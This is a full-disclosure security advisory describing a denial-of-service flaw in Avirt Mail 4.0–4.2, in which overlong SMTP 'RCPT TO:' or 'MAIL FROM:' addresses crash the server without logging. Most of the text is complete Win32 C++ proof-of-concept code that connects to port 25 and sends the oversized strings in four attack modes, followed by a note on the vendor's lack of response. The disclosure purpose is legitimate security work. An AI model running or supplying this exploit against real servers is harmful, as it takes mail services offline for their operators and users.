COMMAND
Avirt Mail
SYSTEMS AFFECTED
Avirt Mail 4.x
PROBLEM
Martin O. found following. Avirt Mail 4.x up to latest version
is vulnerable to denial of service while handling a SMTP session.
This was tested under:
- Avirt Mail 4.0 (build 4124) - vulnerable
- Avirt Mail 4.2 (build 4807) - vulnerable
Both versions where tested on Windows 98 since, however any win32
system ought to be vulnerable.
When connecting to port 25 on a computer running any of the above
mentioned versions of Avirt Mail, it is possible to crash the
server by supplying an unusually long from- or recieptant-address.
The crash occurs when the connection to the client is closed.
If 272 or more characters are supplied after "RCPT TO:" the server
will crash as soon as the session is closed and no more
connections will be allowed until the server has been restarted.
The attack will not be logged by Avirt Mail. The server will
crash both if the session is aborted before completing the mail
or if a "DATA" command is sent. Wether the connection is closed
by quit or by a dropped connection makes no difference.
If 556 or more characters are supplied after "MAIL FROM:" there
are two possible outcomes:
1. If "RCPT TO:" and "DATA" commands are appended, the server will
not crash, the server will store the message with the
search-path to the SMTPOut directory at the end of the
FROM-line. If a real TO-address where to be used, this will
processed as a normal mail. No exception log will be made.
2. If the session is aborted directly after the "MAIL FROM:"
command, the server will crash without logging the attack and
no more connections will be allowed before the server is
restarted.
These flaws are probably due to insufficient bounds-checking
somewhere in the code, leading to an overflow in either the array
holding the from- or recieptant-address.
The flaws are demonstrated in the attached code (win32 console
code). The program when compiled takes two arguments:
ip-address type
Where type can be one of the following
1 - Overflow in RCPT TO: command. (aborted session)
2 - Overflow in MAIL FROM: command. (aborted session)
3 - Overflow in RCPT TO: command. (finnished session)
4 - Overflow in MAIL FROM: command. (finnished session)
From the researching done, these flaws does not seem to be
exploitable (in the means of running arbitary code on the computer
running the server). Therefore, they do not pose as a direct
integrity thread, but mere as a DoS threat. This conclusion may
however be proven wrong.
/*
Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
wersion@trust-me.com
Win32 console code
*/
#include <mem.h>
#include <winsock.h>
#include <iostream.h>
#include <stdlib.h>
#define RCPT_SIZE 272
#define FROM_SIZE 556
struct sckssString
{
char *szBuffer;
int nSize;
};
char szHELO[] = "HELO anonymous";
char szMAIL[] = "MAIL FROM: ";
char szRCPT[] = "RCPT TO: ";
char szQUIT[] = "QUIT";
char szDATA[] = "DATA\nTest data\n.";
void socksenddata(int socket, sckssString* data)
{
if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
{
cout << "->" << data->szBuffer << endl;
return;
}
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
}
void socksendendline(int socket)
{
if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
}
void socksendanum(int socket, unsigned long int num)
{
char *tempa = new char[num+1];
memset(tempa,'A',num);
tempa[num]=0;
if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
{
cout << "->" << tempa << endl;
return;
}
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
delete[] tempa;
}
int main(int argv, char **argc)
{
if(argv<3)
{
cout << "Usage: " << argc[0] << " ip-address type" << endl;
cout << "Types:" << endl;
cout << "1 - Overflow in RCPT TO: command. (aborted session)" << endl;
cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
cout << "3 - Overflow in RCPT TO: command. (finnished session)" << endl;
cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
exit(1);
}
WORD wVersionRequested = MAKEWORD(1,1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
SOCKADDR_IN saExploit;
saExploit.sin_family = PF_INET;
saExploit.sin_addr.s_addr = inet_addr(argc[1]);
saExploit.sin_port = htons(25);
SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sckExploit == INVALID_SOCKET)
{
cout << "WSA error (" << WSAGetLastError() << ")" << endl;
WSACleanup();
return 1;
}
if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
{
cout << "WSA error (" << WSAGetLastError() << ")" << endl;
shutdown(sckExploit,2);
closesocket(sckExploit);
WSACleanup();
return 1;
}
sckssString sckssHelo;
sckssHelo.nSize = strlen(szHELO);
sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
strcpy(sckssHelo.szBuffer, szHELO);
sckssString sckssMail;
sckssMail.nSize = strlen(szMAIL);
sckssMail.szBuffer = new char[sckssMail.nSize+1];
strcpy(sckssMail.szBuffer, szMAIL);
sckssString sckssRcpt;
sckssRcpt.nSize = strlen(szRCPT);
sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
strcpy(sckssRcpt.szBuffer, szRCPT);
sckssString sckssQuit;
sckssQuit.nSize = strlen(szQUIT);
sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
strcpy(sckssQuit.szBuffer, szQUIT);
sckssString sckssData;
sckssData.nSize = strlen(szDATA);
sckssData.szBuffer = new char[sckssData.nSize+1];
strcpy(sckssData.szBuffer, szDATA);
cout << "Beginning session..." << endl;
switch(atoi(argc[2]))
{
case 1:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
cout << "Overflowing RCPT TO:" << endl;
socksendanum(sckExploit,RCPT_SIZE);
socksendendline(sckExploit);
cout << "Aborting session before data." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 2:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
cout << "Overflowing MAIL FROM:" << endl;
socksendanum(sckExploit,FROM_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
cout << "Aborting session before data." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 3:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
cout << "Overflowing RCPT TO:" << endl;
socksendanum(sckExploit,RCPT_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssData);
socksendendline(sckExploit);
cout << "Ending session." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 4:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
cout << "Overflowing MAIL FROM:" << endl;
socksendanum(sckExploit,FROM_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssData);
socksendendline(sckExploit);
cout << "Ending session." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
default:
{
cout << "Type " << argc[2] << " not allowed." << endl;
break;
}
}
shutdown(sckExploit,2);
closesocket(sckExploit);
WSACleanup();
cout << endl << "Ready!" << endl;
return 0;
}
SOLUTION
Avirt was informed about this by mail Sep 7 2000, with the notice
that the information was going to be released as full disclosure
in 40 days without further notice if they hadn't issued
information by then. Sep 8 2000 Avirt confirmed the mail and
told they had forwarded the information to their developers.
Avirt has not been in contact since then and no update has been
released on their homepage. More than forty days has passed.